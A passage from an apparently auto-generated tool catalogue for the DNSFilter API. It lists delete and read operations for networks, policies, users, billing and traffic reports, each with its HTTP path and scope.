/api/v1/dnsfilter/v1/api_keys/{id}. Scopes: api. dnsfilter_delete_v1_block_pages_by_id (write, destructive) — Deletes a block page. via DELETE /v1/block_pages/{id} DELETE /api/v1/dnsfilter/v1/block_pages/{id}. Scopes: api. dnsfilter_delete_v1_collections_by_collection_id_users_by_id (write, destructive) — Delete user -- Deletes a user from a collection. via DELETE /v1/collections/{collection_id}/users/{id} DELETE /api/v1/dnsfilter/v1/collections/{collection_id}/users/{id}. Scopes: api. dnsfilter_delete_v1_enterprise_connections_by_id (write, destructive) — Delete an enterprise connection. via DELETE /v1/enterprise_connections/{id} DELETE /api/v1/dnsfilter/v1/enterprise_connections/{id}. Scopes: api. dnsfilter_delete_v1_ip_addresses_by_id (write, destructive) — Delete -- Removes an IP address. via DELETE /v1/ip_addresses/{id} DELETE /api/v1/dnsfilter/v1/ip_addresses/{id}. Scopes: api. dnsfilter_delete_v1_mac_addresses_by_id (write, destructive) — Deletes a MAC address. via DELETE /v1/mac_addresses/{id} DELETE /api/v1/dnsfilter/v1/mac_addresses/{id}. Scopes: api. dnsfilter_delete_v1_networks_bulk_destroy (write, destructive) — Bulk Delete -- Bulk destroy multiple networks. via DELETE /v1/networks/bulk_destroy DELETE /api/v1/dnsfilter/v1/networks/bulk_destroy. Scopes: api. dnsfilter_delete_v1_networks_by_id (write, destructive) — Deletes a network. via DELETE /v1/networks/{id} DELETE /api/v1/dnsfilter/v1/networks/{id}. Scopes: api. dnsfilter_delete_v1_networks_by_id_secret_key (write, destructive) — Delete Key -- Revokes a network secret key. via DELETE /v1/networks/{id}/secret_key DELETE /api/v1/dnsfilter/v1/networks/{id}/secret_key. Scopes: api. dnsfilter_delete_v1_networks_by_id_subnets_by_subnet_id (write, destructive) — Deletes a network subnet with the specified data. via DELETE /v1/networks/{id}/subnets/{subnet_id} DELETE /api/v1/dnsfilter/v1/networks/{id}/subnets/{subnet_id}. Scopes: api. dnsfilter_delete_v1_notes_by_resource_by_id_notes_batch_destroy (write, destructive) — Batch destroy -- Deletes notes for a resource. via DELETE /v1/notes/{resource}/{id}/notes/batch_destroy DELETE /api/v1/dnsfilter/v1/notes/{resource}/{id}/notes/batch_destroy. Scopes: api. dnsfilter_delete_v1_notes_by_resource_by_id_notes_by_domain (write, destructive) — Deletes notes for a resource. via DELETE /v1/notes/{resource}/{id}/notes/{domain} DELETE /api/v1/dnsfilter/v1/notes/{resource}/{id}/notes/{domain}. Scopes: api. dnsfilter_delete_v1_organizations_by_id (write, destructive) — Delete MSP -- Deletes an MSP customer. via DELETE /v1/organizations/{id} DELETE /api/v1/dnsfilter/v1/organizations/{id}. Scopes: api. dnsfilter_delete_v1_organizations_by_organization_id_users_by_id (write, destructive) — Delete -- Removes a user from the organization. This will not actually delete the user account. via DELETE /v1/organizations/{organization_id}/users/{id} DELETE /api/v1/dnsfilter/v1/organizations/{organization_id}/users/{id}. Scopes: api. dnsfilter_delete_v1_policies_by_id (write, destructive) — Deletes a policy. via DELETE /v1/policies/{id} DELETE /api/v1/dnsfilter/v1/policies/{id}. Scopes: api. dnsfilter_delete_v1_scheduled_policies_by_id (write, destructive) — Delete -- Removes a scheduled policy from the database. via DELETE /v1/scheduled_policies/{id} DELETE /api/v1/dnsfilter/v1/scheduled_policies/{id}. Scopes: api. dnsfilter_delete_v1_scheduled_reports_by_id (write, destructive) — Deletes the scheduled report. via DELETE /v1/scheduled_reports/{id} DELETE /api/v1/dnsfilter/v1/scheduled_reports/{id}. Scopes: api. dnsfilter_delete_v1_user_agents_by_id (write, destructive) — Delete -- Soft deletes an user agent. via DELETE /v1/user_agents/{id} DELETE /api/v1/dnsfilter/v1/user_agents/{id}. Scopes: api. dnsfilter_delete_v2_dashboards_by_id (write, destructive) — Delete a dashboard. via DELETE /v2/dashboards/{id} DELETE /api/v1/dnsfilter/v2/dashboards/{id}. Scopes: api. dnsfilter_get_v1_agent_local_user_bulk_deletes_by_id (read) — Show bulk delete -- Gets an agent local user bulk delete by id. via GET /v1/agent_local_user_bulk_deletes/{id} GET /api/v1/dnsfilter/v1/agent_local_user_bulk_deletes/{id}. Scopes: api. dnsfilter_get_v1_agent_local_user_bulk_deletes_counts (read) — Count -- Gets an agent local user bulk delete count by bulk delete id. via GET /v1/agent_local_user_bulk_deletes/counts GET /api/v1/dnsfilter/v1/agent_local_user_bulk_deletes/counts. Scopes: api. dnsfilter_get_v1_agent_local_users (read) — Gets extant users -- Gets the agent local users associated to an organization with basic information. via GET /v1/agent_local_users GET /api/v1/dnsfilter/v1/agent_local_users. Scopes: api. dnsfilter_get_v1_agent_local_users_all (read) — Gets ALL users -- Gets ALL agent local users associated to an user organization with basic information. via GET /v1/agent_local_users/all GET /api/v1/dnsfilter/v1/agent_local_users/all. Scopes: api. dnsfilter_get_v1_agent_local_users_by_id (read) — Show extant user -- Gets basic information of the specified agent local user. via GET /v1/agent_local_users/{id} GET /api/v1/dnsfilter/v1/agent_local_users/{id}. Scopes: api. dnsfilter_get_v1_api_keys (read) — List -- Gets the list of api keys associated with the current user. via GET /v1/api_keys GET /api/v1/dnsfilter/v1/api_keys. Scopes: api. dnsfilter_get_v1_api_keys_by_id (read) — Show -- Displays an api key. via GET /v1/api_keys/{id} GET /api/v1/dnsfilter/v1/api_keys/{id}. Scopes: api. dnsfilter_get_v1_application_categories (read) — Get extant -- List extant application categories. via GET /v1/application_categories GET /api/v1/dnsfilter/v1/application_categories. Scopes: api. dnsfilter_get_v1_application_categories_by_id (read) — Show category -- Gets basic information of a specific application category. via GET /v1/application_categories/{id} GET /api/v1/dnsfilter/v1/application_categories/{id}. Scopes: api. dnsfilter_get_v1_applications (read) — Get extant -- List extant applications basic information. via GET /v1/applications GET /api/v1/dnsfilter/v1/applications. Scopes: api. dnsfilter_get_v1_applications_all (read) — Get all -- List applications basic information, including deleted ones. via GET /v1/applications/all GET /api/v1/dnsfilter/v1/applications/all. Scopes: api. dnsfilter_get_v1_applications_by_id (read) — Show -- Gets basic information of a specific application. via GET /v1/applications/{id} GET /api/v1/dnsfilter/v1/applications/{id}. Scopes: api. dnsfilter_get_v1_billing (read) — Show -- List basic billing information of the user organization registered in Stripe platform. via GET /v1/billing GET /api/v1/dnsfilter/v1/billing. Scopes: api. dnsfilter_get_v1_billing_address_by_organization_id (read) — Show address -- Show the billing address for the given organization. via GET /v1/billing/address/{organization_id} GET /api/v1/dnsfilter/v1/billing/address/{organization_id}. Scopes: api. dnsfilter_get_v1_block_pages (read) — Get extant -- Gets the list of block pages associated with the current user. via GET /v1/block_pages GET /api/v1/dnsfilter/v1/block_pages. Scopes: api. dnsfilter_get_v1_block_pages_all (read) — Get all -- Gets ALL block pages associated with the current user. via GET /v1/block_pages/all GET /api/v1/dnsfilter/v1/block_pages/all. Scopes: api. dnsfilter_get_v1_block_pages_by_id (read) — Show page -- Gets the specified block page. via GET /v1/block_pages/{id} GET /api/v1/dnsfilter/v1/block_pages/{id}. Scopes: api. dnsfilter_get_v1_categories (read) — Get extant -- List categories basic information. via GET /v1/categories GET /api/v1/dnsfilter/v1/categories. Scopes: api. dnsfilter_get_v1_categories_all (read) — Get all -- List all categories including internal categories. via GET /v1/categories/all GET /api/v1/dnsfilter/v1/categories/all. Scopes: api. dnsfilter_get_v1_categories_by_id (read) — Show category -- Gets basic information of a specific category. via GET /v1/categories/{id} GET /api/v1/dnsfilter/v1/categories/{id}. Scopes: api. dnsfilter_get_v1_collections_by_collection_id_users (read) — Gets collection users -- Show users belonging to a specific collection with the specified id. via GET /v1/collections/{collection_id}/users GET /api/v1/dnsfilter/v1/collections/{collection_id}/users. Scopes: api. dnsfilter_get_v1_collections_by_collection_id_users_by_id (read) — Show user -- Gets the user details and permissions for the specified organization. via GET /v1/collections/{collection_id}/users/{id} GET /api/v1/dnsfilter/v1/collections/{collection_id}/users/{id}. Scopes: api. dnsfilter_get_v1_current_user (read) — Get -- Fetch information about the currently authenticated user. via GET /v1/current_user GET /api/v1/dnsfilter/v1/current_user. Scopes: api. dnsfilter_get_v1_dictionary_qp_methods (read) — List QP Methods via GET /v1/dictionary/qp_methods GET /api/v1/dnsfilter/v1/dictionary/qp_methods. Scopes: api. dnsfilter_get_v1_distributors_distributors (read) — Get -- Allows to fetch basic information about a Distributor and its parent organization. via GET /v1/distributors/distributors GET /api/v1/dnsfilter/v1/distributors/distributors. Scopes: api. dnsfilter_get_v1_distributors_health (read) — Health Check -- Allows testing API reachability and validation of the authentication header. NOTE: This endpoint supports the read-only pre-shared secret key. via GET /v1/distributors/health GET /api/v1/dnsfilter/v1/distributors/health. Scopes: api. dnsfilter_get_v1_distributors_msps (read) — MSP Search -- Allows to get the list of MSPs that matches the search criteria. Returns all non-canceled ones by default if no search filters are specified. Note: endpoint does pagination, be sure to fetch all available pages to get the full list. via GET /v1/distributors/msps GET /api/v1/dnsfilter/v1/distributors/msps. Scopes: api. dnsfilter_get_v1_distributors_msps_by_id (read) — Show MSP -- Allows to fetch basic information about an MSP and its parent organization. via GET /v1/distributors/msps/{id} GET /api/v1/dnsfilter/v1/distributors/msps/{id}. Scopes: api. dnsfilter_get_v1_distributors_organizations (read) — Organizations Search -- Allows to get the list of organizations that matches the search criteria, returns all non-canceled ones by default if no search filters are specified. Note: endpoint does pagination, be sure to fetch all available pages to get the full list. via GET /v1/distributors/organizations GET /api/v1/dnsfilter/v1/distributors/organizations. Scopes: api. dnsfilter_get_v1_distributors_organizations_by_id (read) — Show Organization -- Allows to fetch basic information about an MSP parent organization or sub-organization. via GET /v1/distributors/organizations/{id} GET /api/v1/dnsfilter/v1/distributors/organizations/{id}. Scopes: api. dnsfilter_get_v1_distributors_reports_covered_users_summary_by_organization (read) — Get user info by date -- Allows to fetch covered users information by organization for the given date range. Maximum days in date range is limited to 31. NOTE: This endpoint supports the read-only pre-shared secret key. via GET /v1/distributors/reports/covered_users_summary_by_organization GET /api/v1/dnsfilter/v1/distributors/reports/covered_users_summary_by_organization. Scopes: api. dnsfilter_get_v1_distributors_reports_usage_by_organization (read) — Get usage info -- Allows to fetch user usage information per organization. NOTE: This endpoint supports the read-only pre-shared secret key. via GET /v1/distributors/reports/usage_by_organization GET /api/v1/dnsfilter/v1/distributors/reports/usage_by_organization. Scopes: api. dnsfilter_get_v1_distributors_reports_usage_by_sku (read) — Get usage info by SKU -- Allows to fetch user usage information per SKU. NOTE: it might be possible that the covered_users and estimated_users values do not match the total_requests / 6000 math, since these values are the sum of already rounded up values of organizations with the given SKU. NOTE: This endpoint supports the read-only pre-shared secret key. via GET /v1/distributors/reports/usage_by_sku GET /api/v1/dnsfilter/v1/distributors/reports/usage_by_sku. Scopes: api. dnsfilter_get_v1_distributors_skus_available (read) — SKUs -- Returns the list of SKUs available to the distributor's customers. via GET /v1/distributors/skus_available GET /api/v1/dnsfilter/v1/distributors/skus_available. Scopes: api. dnsfilter_get_v1_distributors_users (read) — Users Search -- Allows to get the list of users that matches the search criteria. Note: endpoint does pagination, be sure to fetch all available pages to get the full list. via GET /v1/distributors/users GET /api/v1/dnsfilter/v1/distributors/users. Scopes: api. dnsfilter_get_v1_distributors_users_by_id (read) — Show User -- Allows to fetch basic information about an user. via GET /v1/distributors/users/{id} GET /api/v1/dnsfilter/v1/distributors/users/{id}. Scopes: api. dnsfilter_get_v1_domains_bulk_lookup (read) — Bulk lookup -- Gets the domains and categories associated for each FQDN of the specified list. via GET /v1/domains/bulk_lookup GET /api/v1/dnsfilter/v1/domains/bulk_lookup. Scopes: api. dnsfilter_get_v1_domains_user_lookup (read) — Lookup -- Gets all the domains associated for a particular FQDN. via GET /v1/domains/user_lookup GET /api/v1/dnsfilter/v1/domains/user_lookup. Scopes: api. dnsfilter_get_v1_enterprise_connections (read) — Get extant -- Gets information for all the enterprise connections for the given organization. via GET /v1/enterprise_connections GET /api/v1/dnsfilter/v1/enterprise_connections. Scopes: api. dnsfilter_get_v1_enterprise_connections_by_id (read) — Show connection -- Gets information for the specified enterprise connection. via GET /v1/enterprise_connections/{id} GET /api/v1/dnsfilter/v1/enterprise_connections/{id}. Scopes: api. dnsfilter_get_v1_invoices (read) — Get invoices -- Gets user associated invoices, most recent first. via GET /v1/invoices GET /api/v1/dnsfilter/v1/invoices. Scopes: api. dnsfilter_get_v1_invoices_by_id (read) — Get invoice -- Gets basic information of the specified invoice. via GET /v1/invoices/{id} GET /api/v1/dnsfilter/v1/invoices/{id}. Scopes: api. dnsfilter_get_v1_invoices_current (read) — Get current invoice -- Gets user estimated invoice for next month. via GET /v1/invoices/current GET /api/v1/dnsfilter/v1/invoices/current. Scopes: api. dnsfilter_get_v1_ip_addresses (read) — Get extant -- Gets user associated IP addresses basic information. via GET /v1/ip_addresses GET /api/v1/dnsfilter/v1/ip_addresses. Scopes: api. dnsfilter_get_v1_ip_addresses_all (read) — Get all -- Gets ALL user associated IP addresses basic information. via GET /v1/ip_addresses/all GET /api/v1/dnsfilter/v1/ip_addresses/all. Scopes: api. dnsfilter_get_v1_ip_addresses_by_id (read) — Show IP -- Gets basic information of the specified IP address. via GET /v1/ip_addresses/{id} GET /api/v1/dnsfilter/v1/ip_addresses/{id}. Scopes: api. dnsfilter_get_v1_ip_addresses_myip (read) — Get my IP -- Responds with the requester reported IP address. via GET /v1/ip_addresses/myip GET /api/v1/dnsfilter/v1/ip_addresses/myip. Scopes: api. dnsfilter_get_v1_ip_addresses_verify (read) — Verify IP -- Verification call to ensure IP address is not already in the system. via GET /v1/ip_addresses/verify GET /api/v1/dnsfilter/v1/ip_addresses/verify. Scopes: api. dnsfilter_get_v1_mac_addresses (read) — Get extant -- Gets the MAC addresses associated to an organization with basic information. via GET /v1/mac_addresses GET /api/v1/dnsfilter/v1/mac_addresses. Scopes: api. dnsfilter_get_v1_mac_addresses_all (read) — Get all -- Gets ALL MAC addresses associated to an user with basic information. via GET /v1/mac_addresses/all GET /api/v1/dnsfilter/v1/mac_addresses/all. Scopes: api. dnsfilter_get_v1_mac_addresses_by_id (read) — Show address -- Gets basic information of the specified MAC address. via GET /v1/mac_addresses/{id} GET /api/v1/dnsfilter/v1/mac_addresses/{id}. Scopes: api. dnsfilter_get_v1_metrics_organization_usage_by_id (read) — Get usage -- Gets usage information for the given Organization over the given date range. Maximum date range is 365 days. via GET /v1/metrics/organization_usage/{id} GET /api/v1/dnsfilter/v1/metrics/organization_usage/{id}. Scopes: api. dnsfilter_get_v1_metrics_organization_usage_detailed_by_id (read) — Get usage detailed -- Gets usage information for the given organization. This differs from +organization_usage+ in the way +user_count+/+wifi_count+ are fetched from the DB, also these endpoints returns a roaming client count. via GET /v1/metrics/organization_usage_detailed/{id} GET /api/v1/dnsfilter/v1/metrics/organization_usage_detailed/{id}. Scopes: api. dnsfilter_get_v1_networks (read) — Get extant -- Gets user's associated networks with basic information. via GET /v1/networks GET /api/v1/dnsfilter/v1/networks. Scopes: api. dnsfilter_get_v1_networks_all (read) — Get all -- Gets ALL networks associated to the user with its basic information. via GET /v1/networks/all GET /api/v1/dnsfilter/v1/networks/all. Scopes: api. dnsfilter_get_v1_networks_bulk_create_by_id (read) — Bulk create status. via GET /v1/networks/bulk_create/{id} GET /api/v1/dnsfilter/v1/networks/bulk_create/{id}. Scopes: api. dnsfilter_get_v1_networks_bulk_destroy_by_id (read) — Bulk delete status -- Bulk destroy status. via GET /v1/networks/bulk_destroy/{id} GET /api/v1/dnsfilter/v1/networks/bulk_destroy/{id}. Scopes: api. dnsfilter_get_v1_networks_bulk_update_by_id (read) — Bulk update status via GET /v1/networks/bulk_update/{id} GET /api/v1/dnsfilter/v1/networks/bulk_update/{id}. Scopes: api. dnsfilter_get_v1_networks_by_id (read) — Show network -- Gets basic information of the specified network. via GET /v1/networks/{id} GET /api/v1/dnsfilter/v1/networks/{id}. Scopes: api. dnsfilter_get_v1_networks_by_id_lan_ips (read) — Gets network associated LAN IPs with basic information. via GET /v1/networks/{id}/lan_ips GET /api/v1/dnsfilter/v1/networks/{id}/lan_ips. Scopes: api. dnsfilter_get_v1_networks_by_id_lan_ips_by_lan_ip_id (read) — Show Lan IP -- Gets network associated LAN IP with basic information. via GET /v1/networks/{id}/lan_ips/{lan_ip_id} GET /api/v1/dnsfilter/v1/networks/{id}/lan_ips/{lan_ip_id}. Scopes: api. dnsfilter_get_v1_networks_by_id_subnets (read) — Get extant -- Gets network associated subnets with basic information. via GET /v1/networks/{id}/subnets GET /api/v1/dnsfilter/v1/networks/{id}/subnets. Scopes: api. dnsfilter_get_v1_networks_by_id_subnets_by_subnet_id (read) — Show subnet -- Gets network associated subnet with basic information. via GET /v1/networks/{id}/subnets/{subnet_id} GET /api/v1/dnsfilter/v1/networks/{id}/subnets/{subnet_id}. Scopes: api. dnsfilter_get_v1_networks_counts (read) — Counts -- Gets counts of networks for each network status. via GET /v1/networks/counts GET /api/v1/dnsfilter/v1/networks/counts. Scopes: api. dnsfilter_get_v1_networks_geo (read) — Get Geo -- Gets user's associated networks with geo information only. via GET /v1/networks/geo GET /api/v1/dnsfilter/v1/networks/geo. Scopes: api. dnsfilter_get_v1_networks_lookup (read) — Get by IP -- Gets basic information of a network based on its associated IP addresses. via GET /v1/networks/lookup GET /api/v1/dnsfilter/v1/networks/lookup. Scopes: api. dnsfilter_get_v1_networks_msp (read) — Get extant MSP -- Gets MSP user associated networks with basic information. via GET /v1/networks/msp GET /api/v1/dnsfilter/v1/networks/msp. Scopes: api. dnsfilter_get_v1_networks_msp_all (read) — Get all MSP -- Gets ALL networks associated to the MSP user with its basic information. via GET /v1/networks/msp/all GET /api/v1/dnsfilter/v1/networks/msp/all. Scopes: api. dnsfilter_get_v1_networks_subnets (read) — Get all -- List site subnets with basic information. via GET /v1/networks/subnets GET /api/v1/dnsfilter/v1/networks/subnets. Scopes: api. dnsfilter_get_v1_notes_by_resource_by_id_by_domain (read) — Show -- Gets associated notes from a specific resource. via GET /v1/notes/{resource}/{id}/{domain} GET /api/v1/dnsfilter/v1/notes/{resource}/{id}/{domain}. Scopes: api. dnsfilter_get_v1_organizations (read) — Get extant -- Gets user's associated organizations basic information. via GET /v1/organizations GET /api/v1/dnsfilter/v1/organizations. Scopes: api. dnsfilter_get_v1_organizations_all (read) — Get all -- Gets all organizations basic information. via GET /v1/organizations/all GET /api/v1/dnsfilter/v1/organizations/all. Scopes: api. dnsfilter_get_v1_organizations_by_id (read) — Show organization -- Gets basic information of the specified organization. via GET /v1/organizations/{id} GET /api/v1/dnsfilter/v1/organizations/{id}. Scopes: api. dnsfilter_get_v1_organizations_by_organization_id_users (read) — Gets the users for the specified organization. via GET /v1/organizations/{organization_id}/users GET /api/v1/dnsfilter/v1/organizations/{organization_id}/users. Scopes: api. dnsfilter_get_v1_organizations_by_organization_id_users_by_id (read) — Show user -- Gets the user details and permissions for the specified organization. via GET /v1/organizations/{organization_id}/users/{id} GET /api/v1/dnsfilter/v1/organizations/{organization_id}/users/{id}. Scopes: api. dnsfilter_get_v1_organizations_settings (read) — Get settings -- Gets basic information of the specified organization. via GET /v1/organizations/settings GET /api/v1/dnsfilter/v1/organizations/settings. Scopes: api. dnsfilter_get_v1_policies (read) — Get extant -- Gets user associated policies basic information. via GET /v1/policies GET /api/v1/dnsfilter/v1/policies. Scopes: api. dnsfilter_get_v1_policies_all (read) — Get all -- Gets ALL user associated policies basic information. via GET /v1/policies/all GET /api/v1/dnsfilter/v1/policies/all. Scopes: api. dnsfilter_get_v1_policies_application (read) — Get application -- Gets policies information for a specific application. via GET /v1/policies/application GET /api/v1/dnsfilter/v1/policies/application. Scopes: api. dnsfilter_get_v1_policies_by_id (read) — Show policy -- Gets basic information of the specified policy. via GET /v1/policies/{id} GET /api/v1/dnsfilter/v1/policies/{id}. Scopes: api. dnsfilter_get_v1_policies_by_id_permissive_mode (read) — Get permissive mode value. via GET /v1/policies/{id}/permissive_mode GET /api/v1/dnsfilter/v1/policies/{id}/permissive_mode. Scopes: api. dnsfilter_get_v1_policy_ips (read) — Gets user associated policies IPs basic information from database. via GET /v1/policy_ips GET /api/v1/dnsfilter/v1/policy_ips. Scopes: api. dnsfilter_get_v1_policy_ips_by_id (read) — Show IP -- Gets basic information of the specified Policy IP. via GET /v1/policy_ips/{id} GET /api/v1/dnsfilter/v1/policy_ips/{id}. Scopes: api. dnsfilter_get_v1_psa_integrations_redirect_link (read) — Create link -- Creates a new PSA integration, if one does not exist and returns the redirect link. via GET /v1/psa_integrations/redirect_link GET /api/v1/dnsfilter/v1/psa_integrations/redirect_link. Scopes: api. dnsfilter_get_v1_scheduled_policies (read) — Get extant -- Gets the list of scheduled policies associated with the current user. via GET /v1/scheduled_policies GET /api/v1/dnsfilter/v1/scheduled_policies. Scopes: api. dnsfilter_get_v1_scheduled_policies_all (read) — Get all -- Gets ALL scheduled policies associated with the current user. via GET /v1/scheduled_policies/all GET /api/v1/dnsfilter/v1/scheduled_policies/all. Scopes: api. dnsfilter_get_v1_scheduled_policies_by_id (read) — Show policy -- Gets the specified scheduled policy. via GET /v1/scheduled_policies/{id} GET /api/v1/dnsfilter/v1/scheduled_policies/{id}. Scopes: api. dnsfilter_get_v1_scheduled_report_previews_by_id (read) — Show preview -- Gets the specified scheduled report preview. via GET /v1/scheduled_report_previews/{id} GET /api/v1/dnsfilter/v1/scheduled_report_previews/{id}. Scopes: api. dnsfilter_get_v1_scheduled_reports (read) — Get all scheduled reports associated with current user's organizations. via GET /v1/scheduled_reports GET /api/v1/dnsfilter/v1/scheduled_reports. Scopes: api. dnsfilter_get_v1_scheduled_reports_by_id (read) — Show report -- Gets the specified scheduled report. via GET /v1/scheduled_reports/{id} GET /api/v1/dnsfilter/v1/scheduled_reports/{id}. Scopes: api. dnsfilter_get_v1_traffic_reports_qps (read) — Queries per second -- Gets the total number of queries per second in a period of time for sites. via GET /v1/traffic_reports/qps GET /api/v1/dnsfilter/v1/traffic_reports/qps. Scopes: api. dnsfilter_get_v1_traffic_reports_qps_active_agents (read) — QPS clients -- Gets the total number of queries per second in a period of time (maximum 20 minutes) for roaming clients. via GET /v1/traffic_reports/qps_active_agents GET /api/v1/dnsfilter/v1/traffic_reports/qps_active_agents. Scopes: api. dnsfilter_get_v1_traffic_reports_qps_active_collections (read) — QPS collections -- Gets the total number of queries per second in a period of time (maximum 20 minutes) for collections. via GET /v1/traffic_reports/qps_active_collections GET /api/v1/dnsfilter/v1/traffic_reports/qps_active_collections. Scopes: api. dnsfilter_get_v1_traffic_reports_qps_active_organizations (read) — QPS organizations -- Gets the total number of queries per second in a period of time (maximum 20 minutes) for organizations. via GET /v1/traffic_reports/qps_active_organizations GET /api/v1/dnsfilter/v1/traffic_reports/qps_active_organizations. Scopes: api. dnsfilter_get_v1_traffic_reports_qps_active_users (read) — QPS users -- Gets the total number of queries per second in a period of time (maximum 20 minutes) for users. via GET /v1/traffic_reports/qps_active_users GET /api/v1/dnsfilter/v1/traffic_reports/qps_active_users. Scopes: api. dnsfilter_get_v1_traffic_reports_query_logs (read) — Query Logs -- Gets the query raw logs in a period of time. via GET /v1/traffic_reports/query_logs GET /api/v1/dnsfilter/v1/traffic_reports/query_logs. Scopes: api. dnsfilter_get_v1_traffic_reports_top_agents (read) — Top agents -- Gets the top agents in a period of time. via GET /v1/traffic_reports/top_agents GET /api/v1/dnsfilter/v1/traffic_reports/top_agents. Scopes: api. dnsfilter_get_v1_traffic_reports_top_application_categories (read) — Top application categories -- Gets the top application categories domains in a period of time. via GET /v1/traffic_reports/top_application_categories GET /api/v1/dnsfilter/v1/traffic_reports/top_application_categories. Scopes: api. dnsfilter_get_v1_traffic_reports_top_categories (read) — Top categories -- Gets the top categories domains in a period of time. via GET /v1/traffic_reports/top_categories GET /api/v1/dnsfilter/v1/traffic_reports/top_categories. Scopes: api. dnsfilter_get_v1_traffic_reports_top_collections (read) — Top collections -- Gets the top collections in a period of time. via GET /v1/traffic_reports/top_collections GET /api/v1/dnsfilter/v1/traffic_reports/top_collections. Scopes: api. dnsfilter_get_v1_traffic_reports_top_domains (read) — Top domains -- Gets the top requested domains in a period of time. via GET /v1/traffic_reports/top_domains GET /api/v1/dnsfilter/v1/traffic_reports/top_domains. Scopes: api. dnsfilter_get_v1_traffic_reports_top_networks (read) — Top networks -- Gets the top networks in a period of time. via GET /v1/traffic_reports/top_networks GET /api/v1/dnsfilter/v1/traffic_reports/top_networks. Scopes: api. dnsfilter_get_v1_traffic_reports_top_organizations (read) — Top organizations -- Gets the top organizations in a period of time. via GET /v1/traffic_reports/top_organizations GET /api/v1/dnsfilter/v1/traffic_reports/top_organizations. Scopes: api. dnsfilter_get_v1_traffic_reports_top_organizations_requests (read) — Top Organizations Requests -- Gets the top organizations by number of requests. via GET /v1/traffic_reports/top_organizations_requests GET /api/v1/dnsfilter/v1/traffic_reports/top_organizations_requests. Scopes: api. dnsfilter_get_v1_traffic_reports_top_users (read) — Top users -- Gets the top users in a period of time. via GET /v1/traffic_reports/top_users GET /api/v1/dnsfilter/v1/traffic_reports/top_users. Scopes: api. dnsfilter_get_v1_traffic_reports_total_applications_agents_stats (read) — Application reqs clients -- Gets the statistics of number of requests for roaming clients by application in a period of time. via GET /v1/traffic_reports/total_applications_agents_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_applications_agents_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_applications_collections_stats (read) — Application reqs collections -- Gets the statistics of number of requests for collections by application in a period of time. via GET /v1/traffic_reports/total_applications_collections_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_applications_collections_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_applications_networks_stats (read) — Applications reqs networks -- Gets the statistics of number of requests for sites by application in a period of time. via GET /v1/traffic_reports/total_applications_networks_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_applications_networks_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_applications_organizations_stats (read) — Application reqs org -- Gets the statistics of number of requests for organizations by application in a period of time. via GET /v1/traffic_reports/total_applications_organizations_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_applications_organizations_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_applications_stats (read) — Application requests -- Gets the statistics of number of requests by application in a period of time. via GET /v1/traffic_reports/total_applications_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_applications_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_applications_users_stats (read) — Application reqs users -- Gets the statistics of number of requests for users by application in a period of time. via GET /v1/traffic_reports/total_applications_users_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_applications_users_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_categories (read) — Total category requests -- Gets the total number of requests by category for sites in a period of time. via GET /v1/traffic_reports/total_categories GET /api/v1/dnsfilter/v1/traffic_reports/total_categories. Scopes: api. dnsfilter_get_v1_traffic_reports_total_categories_agents (read) — Category reqs clients -- Gets the total number of requests by category for roaming clients in a period of time. via GET /v1/traffic_reports/total_categories_agents GET /api/v1/dnsfilter/v1/traffic_reports/total_categories_agents. Scopes: api. dnsfilter_get_v1_traffic_reports_total_categories_collections (read) — Category reqs collections -- Gets the total number of requests by category for collections in a period of time. via GET /v1/traffic_reports/total_categories_collections GET /api/v1/dnsfilter/v1/traffic_reports/total_categories_collections. Scopes: api. dnsfilter_get_v1_traffic_reports_total_categories_organizations (read) — Category reqs organizations -- Gets the total number of requests by category for organizations in a period of time. via GET /v1/traffic_reports/total_categories_organizations GET /api/v1/dnsfilter/v1/traffic_reports/total_categories_organizations. Scopes: api. dnsfilter_get_v1_traffic_reports_total_categories_users (read) — Category reqs users -- Gets the total number of requests by category for users in a period of time. via GET /v1/traffic_reports/total_categories_users GET /api/v1/dnsfilter/v1/traffic_reports/total_categories_users. Scopes: api. dnsfilter_get_v1_traffic_reports_total_category_stats (read) — Category stats -- Gets the total number of stats for a category in a period of time. via GET /v1/traffic_reports/total_category_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_category_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_client_stats (read) — Total client stats -- Gets the organization network, users and client stats. via GET /v1/traffic_reports/total_client_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_client_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_collections (read) — Total collection reqs -- Gets the total number of requests by collection for sites in a period of time. via GET /v1/traffic_reports/total_collections GET /api/v1/dnsfilter/v1/traffic_reports/total_collections. Scopes: api. dnsfilter_get_v1_traffic_reports_total_collections_agents (read) — Collection reqs clients -- Gets the total number of requests by collection for roaming clients in a period of time. via GET /v1/traffic_reports/total_collections_agents GET /api/v1/dnsfilter/v1/traffic_reports/total_collections_agents. Scopes: api. dnsfilter_get_v1_traffic_reports_total_collections_organizations (read) — Collection reqs orgs -- Gets the total number of requests by collection for organizations in a period of time. via GET /v1/traffic_reports/total_collections_organizations GET /api/v1/dnsfilter/v1/traffic_reports/total_collections_organizations. Scopes: api. dnsfilter_get_v1_traffic_reports_total_collections_users (read) — Collection reqs users -- Gets the total number of requests by collection for users in a period of time. via GET /v1/traffic_reports/total_collections_users GET /api/v1/dnsfilter/v1/traffic_reports/total_collections_users. Scopes: api. dnsfilter_get_v1_traffic_reports_total_deployments (read) — Deployments -- Gets the organization deployments information. via GET /v1/traffic_reports/total_deployments GET /api/v1/dnsfilter/v1/traffic_reports/total_deployments. Scopes: api. dnsfilter_get_v1_traffic_reports_total_domain_requests (read) — Total Domain Requests -- Gets the total number of requests for a domain in a period of time. via GET /v1/traffic_reports/total_domain_requests GET /api/v1/dnsfilter/v1/traffic_reports/total_domain_requests. Scopes: api. dnsfilter_get_v1_traffic_reports_total_domain_stats (read) — Domain stats -- Gets the total number of stats for a domain in a period of time. via GET /v1/traffic_reports/total_domain_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_domain_stats. Scopes: api. 